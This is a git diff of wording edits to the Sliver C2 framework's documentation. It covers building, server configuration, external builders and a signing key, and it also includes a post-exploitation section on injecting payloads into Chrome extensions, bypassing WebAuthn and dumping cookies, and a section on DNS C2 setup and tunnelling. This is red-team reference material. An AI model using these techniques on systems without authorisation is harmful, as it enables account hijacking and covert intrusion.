{"src": "/asciinema/sliver-docker-production.cast", "cols": "132"}
```
The Docker build includes mingw and Metasploit, so it can take a while to build from scratch but Docker should cache the layers effectively. Sliver will also run it's unit tests as part of the build, and that takes a few minutes too.
The Docker build includes mingw and Metasploit, so it can take a while to build from scratch but Docker should cache the layers effectively. Sliver will also run its unit tests as part of the build, and that takes a few minutes too.
### Windows Builds
If all you have is a Windows machine, the easiest way to build Sliver is using [WSL](https://docs.microsoft.com/en-us/windows/wsl/install-win10) and following the Linux/cross-compile instructions above. To cross-compile a native Windows binary use `make windows-amd64` and copy it to your Windows file system (i.e. `/mnt/c/Users/foo/Desktop`) and run it using a terminal that supports ANSI sequences such as the [Windows Terminal](https://github.com/microsoft/terminal).
# Developers
If you want to modify any of the `.proto` files you'll need to setup a few additional tools to regenerate the `.pb.go` files.
If you want to modify any of the `.proto` files you'll need to set up a few additional tools to regenerate the `.pb.go` files.
- Protoc libprotoc v26.1 or later
- Protoc-gen-go v1.27.1
@@ -62,7 +78,7 @@ First install your platform's version of `protoc` v3.19.4 or later:
https://github.com/protocolbuffers/protobuf/releases/latest
Ensure that correct `protoc` version is on your `$PATH`, you can check with a simple `protoc --version`
Ensure that the correct `protoc` version is on your `$PATH`, you can check with a simple `protoc --version`
#### `protoc-gen-go` `protoc-gen-go-grpc`
@@ -73,71 +89,8 @@ go install google.golang.org/protobuf/cmd/[email protected]
go install google.golang.org/grpc/cmd/[email protected]
```
Ensure that these are both on your `$PATH` after running the commands, if not you probably need to add `$GOPATH/bin` to your `$PATH`. To regenerate the Protobuf and gRPC files run:
Ensure that these are both on your `$PATH` after running the commands; if not, you probably need to add `$GOPATH/bin` to your `$PATH`. To regenerate the Protobuf and gRPC files run:
```
$ make pb
```
# Sliver v1.5.x
- When compiling v1.5.x use Go v1.20.7 you can check your version using `go version`. You can use the [Go Version Manager](https://github.com/moovweb/gvm) to install and manage multiple versions of Go.
- `make`, `sed`, `tar`, `curl`, `zip`, `cut` commands; most of these are installed by default but you may need to install `make`, `curl`, and `zip` depending on your distribution. On MacOS you may need to install XCode and accompanying cli tools.
### Compiling
First git clone the repository:
```
$ git clone https://github.com/BishopFox/sliver.git
$ cd sliver
```
The `master` branch will contain the latest Sliver features, however only release version of Sliver are recommended for production use. It is strongly recommended to checkout the latest tagged release branch when compiling from source unless you're a developer:
```
$ git checkout tags/v1.5.42
```
Sliver embeds its own copy of the Go compiler and a few internal tools, the first time your run `make` a bash script will run to download these assets to your local system. This means the first build will take much longer than subsequent builds, especially if your internet connection is slow.
By default `make` will build whatever platform you're currently running on:
```
$ make
```
**IMPORTANT:** The Sliver Makefile requires version information from the git repository, so you must `git clone` the repository. Using GitHub's "download zip" feature may omit the `.git` directory and result in broken builds.
This will create `sliver-server` and `sliver-client` binaries.
### Cross-compile to Specific Platforms
You can also specify a target platform for the `make` file, though you may need cross-compilers (see below):
```
$ make macos
$ make macos-arm64
$ make linux
$ make linux-arm64
$ make windows-amd64
```
### Docker Build
The Docker builds are mostly designed for running unit tests, but can be useful if you want a "just do everything" build:
```
docker build -t sliver .
```
The Docker build includes mingw and Metasploit, so it can take a while to build from scratch but Docker should cache the layers effectively. Sliver will also run it's unit tests as part of the build, and that takes a few minutes too.
### Windows Builds
**NOTE:** In versions of Sliver prior to 1.6.0 you will need mingw to cross-compile Windows builds:
- Kali/Ubuntu/Debian `sudo apt install mingw-w64`
- MacOS `brew install mingw-w64`
If all you have is a Windows machine, the easiest way to build Sliver is using [WSL](https://docs.microsoft.com/en-us/windows/wsl/install-win10) and following the Linux/cross-compile instructions above. To cross-compile a native Windows binary use `make windows-amd64` and copy it to your Windows file system (i.e. `/mnt/c/Users/foo/Desktop`) and run it using a terminal that supports ANSI sequences such as the [Windows Terminal](https://github.com/microsoft/terminal).
@@ -1,6 +1,6 @@
### General Server Configuration
Starting in version 1.0.0 the Sliver server has a configuration file located the `configs` sub-directory of the [`SLIVER_ROOT_DIR`](/docs?name=Environment+Variables), by default this will be `~/.sliver/configs/server.json`. If no configuration file exists, a default configuration will be generated and written to disk on startup. The default configuration is shown below:
The Sliver server has a configuration file located in the `configs` sub-directory of the [`SLIVER_ROOT_DIR`](/docs?name=Environment+Variables); by default this is `~/.sliver/configs/server.json`. If no configuration file exists, a default configuration will be generated and written to disk on startup. The default configuration is shown below:
#### Default Server Config
@@ -24,15 +24,15 @@ Starting in version 1.0.0 the Sliver server has a configuration file located the
- `daemon_mode` - Enable [daemon mode](/docs?name=Daemon+Mode)
- `daemon` - An object containing options related to `daemon_mode`, these values are only used when `daemon_mode` is set to `true`.
- `host` - What network interface to bind the `daemon_mode` client listener to. By default this is an empty string, which indicates binding to all interfaces.
- `port` - TCP port to bind the `deamon_mode` client listener to.
- `logs` - An object containing configure options for server logs
- `level` - The `logrus` logging level (1 - 5), default this is set to `4`, which is the`INFO` level; increasing this value increases the verbosity of the logs e.g. `DEBUG` is `5` and `SILENT` is `1`
- `port` - TCP port to bind the `daemon_mode` client listener to.
- `logs` - An object containing configuration options for server logs
- `level` - The `logrus` logging level (1 - 5), by default this is set to `4`, which is the `INFO` level; increasing this value increases the verbosity of the logs e.g. `DEBUG` is `5` and `SILENT` is `1`
- `grpc_unary_payloads` - Log gRPC unary payloads
- `grpc_stream_payloads` - Log gRPC streaming payloads
## Database Configuration
Starting in version v1.1.0 Sliver supports SQL database configurations, by default this configuration file is located at `~/.sliver/configs/database.json`:
Sliver supports SQL database configurations. By default this configuration file is located at `~/.sliver/configs/database.json`:
#### Default Database Configuration
@@ -59,7 +59,7 @@ Starting in version v1.1.0 Sliver supports SQL database configurations, by defau
- `password` - Database password.
- `host` - Database host.
- `port` - Database TCP port.
- `params` - Is a key/value string map that can be used to pass dialect specific options to the DSN/connection string. This can be used for example to enable SSL/TLS on certain database connections.
- `params` - Is a key/value string map that can be used to pass dialect-specific options to the DSN/connection string. This can be used, for example, to enable SSL/TLS on certain database connections.
- `max_idle_conns` - Max idle connections in the database connection pool.
- `max_open_conns` - Max open connections in the database connection pool.
- `log_level` - Configures the log level for database logging, can be set to: `silent`, `error`, `warn`, or `info`. Default level is `warn`, note that setting this option to `info` may result in sensitive information being logged to disk!
@@ -1,24 +1,20 @@
**NOTE:** Any platform can cross-compile a standalone executable to any other platform out of the box, you only need cross-compilers when using `--format shared`.
**NOTE:** Any platform can cross-compile a standalone executable to any other platform out of the box; you only need cross-compilers when using `--format shared`.
Sliver can tell you which platforms it can likely target based on the server's platform and available cross-compilers by running the `generate info` command in the console.
Sliver v1.5.30 and later also support [External Builders](/docs?name=External+Builders), which can be used to easily cross-compile implants.
Sliver supports [External Builders](/docs?name=External+Builders), which can be used to easily cross-compile implants.
## From Linux to MacOS/Windows
To compile Windows shared library and shellcode implants from Linux, install mingw from your local package manager. Note version 1.6 and later embed a zig cross-compiler out of the box and do not need ming-w64 to produce Windows DLLs:
Sliver embeds a Zig cross-compiler out of the box, so Windows shared library and shellcode implants from Linux do not require mingw-w64.
```
sudo apt install mingw-w64
```
To compile MacOS shared library implants from Linux, we recommend using https://github.com/tpoechtrager/osxcross by default Sliver will look in `/opt/osxcross` but you can override this via [environment variables](/docs?name=Environment+Variables). If you do not have a MacOS based machine you can use GitHub Actions' MacOS instances to build OSXCross.
To compile MacOS shared library implants from Linux, we recommend using https://github.com/tpoechtrager/osxcross by default Sliver will look in `/opt/osxcross` but you can override this via [environment variables](/docs?name=Environment+Variables). If you do not have a MacOS-based machine you can use GitHub Actions' MacOS instances to build OSXCross.
**NOTE:** Sliver expects the root of the osxcross git repo to be located at `/opt/osxcross` and the actual binaries in `/opt/osxcross/target/bin`.
An example deployment is shown below, you have to procure the `MacOSX123.sdk.tar.xz` yourself due to license restrictions (see the OSXCross GitHub for more details). It is recommended to use the llvm-based version (i.e. the `2.0-llvm-based` branch) of osxcross:
For a MacOS machine, if you don't have one handy I recommend using a MacOS Github Action runner:
For a MacOS machine, if you don't have one handy I recommend using a MacOS GitHub Actions runner:
```shell
git clone https://github.com/tpoechtrager/osxcross.git
@@ -37,26 +33,13 @@ curl -o ./tarballs/MacOSX123.sdk.tar.xz 'https://example.com/MacOSX123.sdk.tar.x
TARGET_DIR=/opt/osxcross ENABLE_ARCHS="arm64 x86_64" ./build.sh
```
Sliver automatically looks in the default paths for these cross compilers, once installed simply use the `generate` command with the desired `--os` and `--arch`, check `~/.sliver/logs/sliver.log` for build errors. You can override any cross compiler location via the appropriate [environment variables](/docs?name=Environment+Variables).
Sliver automatically looks in the default paths for these cross-compilers; once installed simply use the `generate` command with the desired `--os` and `--arch`, check `~/.sliver/logs/sliver.log` for build errors. You can override any cross-compiler location via the appropriate [environment variables](/docs?name=Environment+Variables).
## From MacOS to Linux/Windows
Note version 1.6 and later embed a zig cross-compiler out of the box and do not need ming-w64 or musl-cross to produce Windows DLLs and Linux shared objects.
Sliver embeds a Zig cross-compiler out of the box, so Windows DLLs and Linux shared objects do not require mingw-w64 or musl-cross.
To compile Windows shared library and shellcode implants from MacOS install mingw from brew:
```
brew install mingw-w64
```
For Linux, we recommend `musl-cross` to target 64-bit Linux, which can be installed via brew:
```
brew install FiloSottile/musl-cross/musl-cross
brew install mingw-w64
```
I'm not aware of any good options to target 32-bit Linux from MacOS. Sliver automatically looks in the default paths for these cross compilers, once installed simply use the `generate` command with the desired `--os` and `--arch`, check `~/.sliver/logs/sliver.log` for build errors. You can override any cross compiler location via the appropriate [environment variables](/docs?name=Environment+Variables).
However, we're not aware of any good options to target 32-bit Linux from MacOS. Sliver automatically looks in the default paths for these cross-compilers; once installed simply use the `generate` command with the desired `--os` and `--arch`, check `~/.sliver/logs/sliver.log` for build errors. You can override any cross-compiler location via the appropriate [environment variables](/docs?name=Environment+Variables).
## From Windows to MacOS/Linux
+6 -6
View File
@@ -1,17 +1,17 @@
Cursed is a Chrome/Chromium/Edge/Electron post-exploitation tool kit introduced in Sliver v1.5.25, which integrates with [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome) (originally [Sliver Overlord](https://github.com/BishopFox/sliver-overlord)). It can automatically find existing Chrome Extensions with the required permissions for [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome) and remotely inject it onto the target system, or you can start an interactive REPL to inject arbitrary code into any Chrome/Chromium/Edge/Electron context.
Cursed is a Chrome/Chromium/Edge/Electron post-exploitation toolkit that integrates with [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome) (originally [Sliver Overlord](https://github.com/BishopFox/sliver-overlord)). It can automatically find existing Chrome extensions with the required permissions for [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome) and remotely inject it onto the target system, or you can start an interactive REPL to inject arbitrary code into any Chrome/Chromium/Edge/Electron context.
Since web requests and other activity originate from the target machine/browser instance, Cursed Chrome and the Cursed tool kit are excellent options for bypassing U2F/Webauthn, hardware attestation, and geo-IP restrictions in web applications.
Since web requests and other activity originate from the target machine/browser instance, Cursed Chrome and the Cursed toolkit are excellent options for bypassing U2F/Webauthn, hardware attestation, and geo-IP restrictions in web applications.
## Cursed Chrome
The `cursed chrome` command can be used to restart a remote system's Chrome browser with remote debugging enabled. If no payload is specified using `--payload` the command will simply restart Chrome with remote debugging enabled, you can then use `cursed console` to interact with any debug target.
The `cursed chrome` command can be used to restart a remote system's Chrome browser with remote debugging enabled. If no payload is specified using `--payload` the command will simply restart Chrome with remote debugging enabled; you can then use `cursed console` to interact with any debug target.
If a payload is specified, the command will restart Chrome with remote debugging, enumerate installed browser extensions, determine if any extension has the required permissions for [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome), and inject the payload into the extension's execution context.
So a typical workflow looks like:
1. Setup [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome)
2. Pop Sliver session, or go interactive from a beacon
1. Set up [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome)
2. Pop a Sliver session or go interactive from a beacon
3. `cursed chrome --payload background.js`
4. Upstream browser to CursedChrome proxy
5. Enjoy!
@@ -30,7 +30,7 @@ The `cursed console` command can be used to start an interactive REPL with any c
## Cursed Cookies
Starting in v1.5.28 the `cursed cookies` command can be used to dump a remote cursed process' cookies to a local file (newline delimited json), for example:
The `cursed cookies` command can be used to dump a remote cursed process's cookies to a local file (newline-delimited JSON), for example:
```
[server] sliver (CHRONIC_GOAT) > cursed chrome
+14 -14
View File
@@ -1,8 +1,8 @@
DNS can be a finicky nuanced protocol, if you're unfamiliar with DNS and related concepts I'd recommending reading up on the protocol and ecosystem a bit before leveraging it for C2.
DNS can be a finicky, nuanced protocol. If you're unfamiliar with DNS and related concepts, I'd recommend reading up on the protocol and ecosystem a bit before leveraging it for C2.
# Setup
Use the following steps to configure a domain for DNS C2 (and DNS Canaries), you can use any DNS provider you wish as long as you setup the records correctly. I recommend setting a TTL of ~5 minutes for each record.
Use the following steps to configure a domain for DNS C2 (and DNS Canaries). You can use any DNS provider you wish as long as you set up the records correctly. I recommend setting a TTL of ~5 minutes for each record.
1. Create an `A` record for your `example.com` pointing at your Sliver server (or redirector) IP address.
2. Create an `A` record for an `ns1` subdomain (i.e. `ns1.example.com`) that points to your Sliver server (or redirector) IP address.
@@ -11,14 +11,14 @@ Use the following steps to configure a domain for DNS C2 (and DNS Canaries), you
**IMPORTANT:** Always use the FQDN when issuing DNS commands in the Sliver console (e.g., `1.example.com.` note the trailing `.`). DNS is a finicky protocol!
The final configuration should look like for the domain `lil-peep.rip`:
The final configuration should look like this for the domain `lil-peep.rip`:
![DNS Configuration](/images/dns-c2-1.png)
**IMPORTANT:** Remember to disable Cloudflare's "cloud" when configuring these records, and to adjust the TTLs.
### DNS Listeners
Make sure you have a DNS listener running, and to use the FQDN again. Sliver will not be able to correctly parse C2 traffic if the parent domain is misconfigured:
Make sure you have a DNS listener running, and use the FQDN again. Sliver will not be able to correctly parse C2 traffic if the parent domain is misconfigured:
```
sliver > dns --domains 1.example.com.
@@ -29,7 +29,7 @@ sliver > dns --domains 1.example.com.
### DNS Canaries
DNS Canaries are unique per-binary domains that are optionally inserted during the string obfuscation process. These domains are not actually used by the implant code and are deliberately _not obfuscated_ so that they show up if someone runs `strings` on the implant. If these domains are ever resolved (and you have a `dns` listener running) you'll get an alert telling which specific file was discovered by the blue team.
DNS Canaries are unique per-binary domains that are optionally inserted during the string obfuscation process. These domains are not actually used by the implant code and are deliberately _not obfuscated_ so that they show up if someone runs `strings` on the implant. If these domains are ever resolved (and you have a `dns` listener running) you'll get an alert telling you which specific file was discovered by the blue team.
Example `generate` command with canaries, make sure to use the FQDN:
@@ -59,13 +59,13 @@ nameserver 8.8.8.8
# Under the Hood
**NOTE:** This describes the v1.5+ implementation of DNS C2. Also, I'm not going to cover the cryptographic key exchange, which you can read about [here](/docs?name=Transport+Encryption), this is just about how do we move bytes back and forth.
**NOTE:** This describes the current implementation of DNS C2. Also, I'm not going to cover the cryptographic key exchange, which you can read about [here](/docs?name=Transport+Encryption); this is just about how we move bytes back and forth.
### Design Goals
The current implementation of DNS C2 is primarily designed for "speed" (as far as DNS tunnels go) NOT stealth; it does not intend to be subtle in its use of DNS to tunnel data. While DNS can be a very useful protocol for stealthy signaling, Sliver here is creating a full duplex tunnels, doing so covertly would generally be far too slow to be practical. The general rule of thumb is that DNS C2 is easy to detect _if you look_. That's not to say DNS C2 isn't useful or will be immediately detected as is often no one looks. As DNS does not require direct "line of sight" networking, it is often useful for tunneling out of highly restricted networks, and if the environment has not been instrumented to specifically detect DNS C2 it will likely go undetected.
The current implementation of DNS C2 is primarily designed for "speed" (as far as DNS tunnels go) NOT stealth; it does not intend to be subtle in its use of DNS to tunnel data. While DNS can be a very useful protocol for stealthy signaling, Sliver here is creating a full-duplex tunnel; doing so covertly would generally be far too slow to be practical. The general rule of thumb is that DNS C2 is easy to detect _if you look_. That's not to say DNS C2 isn't useful or will be immediately detected, as often no one looks. As DNS does not require direct "line of sight" networking, it is often useful for tunneling out of highly restricted networks, and if the environment has not been instrumented to specifically detect DNS C2 it will likely go undetected.
For example glossing over some details, if a DNS client attempts to `foo.1.example.com` it will query it's local resolver for an answer. If the resolver does not know the answer it will start "recursively" resolving the domain eventually finding its way to the "authoritative name server" for the domain, which is controlled by the owner of `example.com`. DNS C2 works by stuff data in a subdomain, and then sending a query for that subdomain to the authoritative name server.
For example glossing over some details, if a DNS client attempts to `foo.1.example.com` it will query its local resolver for an answer. If the resolver does not know the answer it will start "recursively" resolving the domain, eventually finding its way to the "authoritative name server" for the domain, which is controlled by the owner of `example.com`. DNS C2 works by stuffing data in a subdomain, and then sending a query for that subdomain to the authoritative name server.
```
[implant] <--> [resolver]
@@ -74,11 +74,11 @@ For example glossing over some details, if a DNS client attempts to `foo.1.examp
|<------> [example.com.] (attacker controlled)
```
This allows an implant to establish a connection to an attacker controlled host even when the implant cannot route TCP or UDP traffic to the internet. The tradeoff is that DNS queries are generally very small, in fact if we're lucky we can maybe encode around ~175 bytes per query (more on that later). So if you want to download a 2Mb file then we're gonna have to send _a lot of_ queries, this means that DNS communication is going to be _slow_ (~30Kbps) even at the best of times.
This allows an implant to establish a connection to an attacker-controlled host even when the implant cannot route TCP or UDP traffic to the internet. The tradeoff is that DNS queries are generally very small; in fact, if we're lucky we can maybe encode around ~175 bytes per query (more on that later). So if you want to download a 2 MB file then we're going to have to send _a lot of_ queries, which means that DNS communication is going to be _slow_ (~30 Kbps) even at the best of times.
### Rude DNS Resolvers
The novice hacker often may think that something like DNS, being a fundamental building block of the internet, would be strictly defined and implemented. This of course could not be further from reality; the DNS protocol specification is really more what you call "guidelines" than actual rules. It is common for DNS resolvers to ignore TTL values, modify query contents, drop packets, and lie in responses. Since we cannot control what resolvers we may need use in an operational environment, and we want to build reliable C2 connections, we must expect this type of behavior and design around it.
The novice hacker often may think that something like DNS, being a fundamental building block of the internet, would be strictly defined and implemented. This of course could not be further from reality; the DNS protocol specification is really more what you call "guidelines" than actual rules. It is common for DNS resolvers to ignore TTL values, modify query contents, drop packets, and lie in responses. Since we cannot control what resolvers we may need to use in an operational environment, and we want to build reliable C2 connections, we must expect this type of behavior and design around it.
### Encoder Selection
@@ -104,13 +104,13 @@ Thus we'll focus on encoding data into the `QNAME` (the domain), domains can be
Now we want to send arbitrary binary data but DNS does not allow binary data in the `QNAME` so we need to encode binary data into the allowed character set. Typically of course to encode arbitrary binary data into ASCII we'd use [Base64](https://en.wikipedia.org/wiki/Base64) encoding, but DNS only allows 62 distinct characters (`a-z`, `A-Z`, `0-9`) so Base64 cannot be used. Additionally, we must consider that to Base64 `a` and `A` are distinct values whereas to DNS they are not. So it may not always be safe to use a case-sensitive encoding like Base64 if some rude resolver were to convert all the characters in one of our `QNAME`s to lower case. As far as DNS is concerned this is just fine, but it would corrupt the bytes decoded by the server.
To workaround this problem many DNS C2 implementations instead use hexadecimal encoding, which is not case-sensitive and uses only characters (`0-9`, `A-F`), which are allowed in a `QNAME`, to transfer data back and forth from the server. The issue with this is that hexadecimal is a very inefficient encoding, resulting in a x2 size (takes two bytes to encode one byte), and since we want to minimize the number of queries we need to send this isn't a great option. Instead we could use [Base32](https://en.wikipedia.org/wiki/Base32), which is also case-insensitive but uses more characters to display bytes and thus is more efficient at around x1.6 size. Even better yet would be [Base58](https://en.wikipedia.org/wiki/Binary-to-text_encoding#Base58), which is case sensitive like Base64 but only uses chars allowed in a `QNAME`, at a little over x1.33 message size, but we cannot always rely on being able to use Base58 if we encounter a rude resolver.
To work around this problem many DNS C2 implementations instead use hexadecimal encoding, which is not case-sensitive and uses only characters (`0-9`, `A-F`), which are allowed in a `QNAME`, to transfer data back and forth from the server. The issue with this is that hexadecimal is a very inefficient encoding, resulting in a 2x size (takes two bytes to encode one byte), and since we want to minimize the number of queries we need to send this isn't a great option. Instead we could use [Base32](https://en.wikipedia.org/wiki/Base32), which is also case-insensitive but uses more characters to display bytes and thus is more efficient at around 1.6x size. Even better yet would be [Base58](https://en.wikipedia.org/wiki/Binary-to-text_encoding#Base58), which is case sensitive like Base64 but only uses chars allowed in a `QNAME`, at a little over 1.33x message size, but we cannot always rely on being able to use Base58 if we encounter a rude resolver.
Sliver's solution to this problem is to first try to detect if Base58 can be used to reliably encode data, and if a problem is detected then fallback to Base32. I call this process "fingerprinting" the resolver.
Sliver's solution to this problem is to first try to detect if Base58 can be used to reliably encode data, and if a problem is detected then fall back to Base32. I call this process "fingerprinting" the resolver.
### Fingerprinting Rude Resolvers
The most common DNS query is an `A` record asking for the IPv4 address associated with some domain name. An IPv4 address is a 4-byte value typically displayed as four octets in Base10 e.g. `192.168.1.1`, but to DNS this is just an arbitrary 4-byte (32-bit) value.
The most common DNS query is an `A` record asking for the IPv4 address associated with some domain name. An IPv4 address is a 4-byte value typically displayed as four octets in Base10 e.g., `192.168.1.1`, but to DNS this is just an arbitrary 4-byte (32-bit) value.
In order to detect if a resolver corrupted any bytes in our message the authoritative name server encodes the [CRC32](https://en.wikipedia.org/wiki/Cyclic_redundancy_check) of the data it received in the IP address of any `A` record that it receives. The implant first generates random bytes and then for each resolver on a host we try to resolve these random bytes and check to see if the CRC32 calculated by the server matches the CRC32 of the data we sent. If any mismatches occur Base32 is used instead of Base58.
@@ -124,7 +124,7 @@ First we calculate how many characters of the total domain can be used to encode
254 - len(parent) - (1 + (254-len(parent))/64)
```
This "subdata space" is the maximum number of characters our encoder (Base32 or Base58) can output per message. So the bytes per message are essentially `n` bytes encoded length must be equal to or less than the subdata space. Its important to note that adding a single byte input to either Base32 or Base58 may result in +2 output characters due to the inefficiencies in the encoders.
This "subdata space" is the maximum number of characters our encoder (Base32 or Base58) can output per message. So the bytes per message are essentially: the encoded length of `n` bytes must be equal to or less than the subdata space. It's important to note that adding a single byte input to either Base32 or Base58 may result in +2 output characters due to the inefficiencies in the encoders.
### Parallel Send/Recv
@@ -1,4 +1,4 @@
Starting in v1.0.0 Sliver supports running in "daemon mode," which automatically starts a client listener (but not an interactive console). In order to connect to a server running in daemon mode you'll need to use [multiplayer mode](/docs?name=Multi-player+Mode).
Sliver supports running in "daemon mode," which automatically starts a client listener (but not an interactive console). In order to connect to a server running in daemon mode you'll need to use [multiplayer mode](/docs?name=Multi-player+Mode).
There are two ways to start the server in daemon mode:
@@ -25,4 +25,4 @@ $ cat ~/.sliver/configs/server.json
#### systemd
With this config you can easily setup a [systemd service](https://www.linode.com/docs/quick-answers/linux/start-service-at-boot/) or init script. See the [Linux install script](/docs?name=Linux+Install+Script) for an example.
With this config you can easily set up a [systemd service](https://www.linode.com/docs/quick-answers/linux/start-service-at-boot/) or init script. See the [Linux install script](/docs?name=Linux+Install+Script) for an example.
@@ -1,4 +1,4 @@
Starting in v1.5.30 Sliver supports "external builders," which allow a Sliver server to offload implant builds onto other systems. This can be used to increase platform support (e.g. connecting a MacBook to a Linux server to enable additional MacOS compiler targets) or increasing performance (e.g. having a low powered cloud host offload a local PC).
Sliver supports "external builders," which allow a Sliver server to offload implant builds onto other systems. This can be used to increase platform support (e.g., connecting a MacBook to a Linux server to enable additional MacOS compiler targets) or increase performance (e.g., having a low-powered cloud host offload a local PC).
External builders can also be used to create custom modifications to the implant source code, or potentially replace the default Sliver implant entirely.
@@ -84,7 +84,7 @@ Currently external builds do not support DNS canaries.
You are welcome to customize the implant source code under the terms of Sliver's [GPLv3 license](https://github.com/BishopFox/sliver/blob/master/LICENSE). While we plan to improve the workflow over time, currently the easiest way to operationalize changes to the implant source code is:
1. Fork the main Sliver Github repository
1. Fork the main Sliver GitHub repository
1. Make modifications to the source code
1. [Compile a Sliver server binary](/docs?name=Compile+from+Source)
1. Connect the customized Sliver server binary to any other C2 server (including mainline servers) as an external builder
@@ -1,58 +1 @@
This GPG key is used to sign binary artifacts from the Sliver Authors specifically. As anyone is welcome to modify and redistribute the project under the terms of the GPLv3 license an artifact that is not signed by this specific key is not necessarily illegitimate or malicious, it simply means it's not from the original project authors.
https://raw.githubusercontent.com/BishopFox/sliver/master/server/assets/fs/sliver.asc
```
-----BEGIN PGP PUBLIC KEY BLOCK-----
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
=lxj2
-----END PGP PUBLIC KEY BLOCK-----
```
